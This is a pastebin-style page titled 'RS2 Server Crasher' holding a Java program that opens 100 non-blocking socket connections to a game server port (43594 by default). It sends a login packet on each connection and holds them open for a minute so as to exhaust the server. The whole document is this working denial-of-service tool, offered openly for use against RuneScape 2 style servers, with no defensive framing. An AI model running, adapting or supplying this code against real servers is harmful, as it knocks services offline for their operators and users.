All pastes #572445 Raw Edit

RS2 Server Crasher

public java v1 · immutable
·published 2007-06-17 17:48 UTC
rendered paste body
import java.nio.channels.SocketChannel;import java.nio.ByteBuffer;import java.net.InetSocketAddress;import java.io.IOException;import java.util.ArrayList;public class Main {	private static ArrayList< SocketChannel > channels;	private static int count = 100, port = 43594;	private static long keep = 60;	private static String host = "127.0.0.1";	private static ByteBuffer login;		public static void main( String[] args ) {		login = ByteBuffer.allocateDirect( 1 );		login.put( ( byte ) 14 );		login.flip( );		long start = System.currentTimeMillis( );		try {			channels = new ArrayList< SocketChannel >( count );			for ( int i = 0; i < count; i++ ) {				channels.add( i, openChannel( host, port ) );			}			System.out.println( "[i Created " + count + " sockets in " + 								( System.currentTimeMillis( ) - start ) + "ms]" );			start = System.currentTimeMillis( );			for ( SocketChannel s : channels )				while ( !s.finishConnect( ) ) ;			System.out.println( "[i Finished " + count + " connections in " + 								( System.currentTimeMillis( ) - start ) + "ms]" );			start = System.currentTimeMillis( );			for ( SocketChannel s : channels ) {				s.write( login );			}			System.out.println( "[i Sent " + count + " login packet ids in " +								( System.currentTimeMillis( ) - start ) + "ms]" );			System.out.println( "[i Waiting " + keep + " seconds]" );			Thread.sleep( keep * 1000 );			start = System.currentTimeMillis( );			for ( SocketChannel s : channels )				s.close();			System.out.println( "[i " + count + " sockets closed in " +								( System.currentTimeMillis( ) - start ) + "ms]" );		} catch ( IOException e ) {			// TODO - Act on specific messages			e.printStackTrace( );		} catch ( InterruptedException e1 ) {			// TODO - Nothing		}	}		public static SocketChannel openChannel( String host, int port ) throws IOException {		SocketChannel chan = SocketChannel.open( );		chan.configureBlocking( false );		chan.connect( new InetSocketAddress( host, port ) );		return chan;	}	}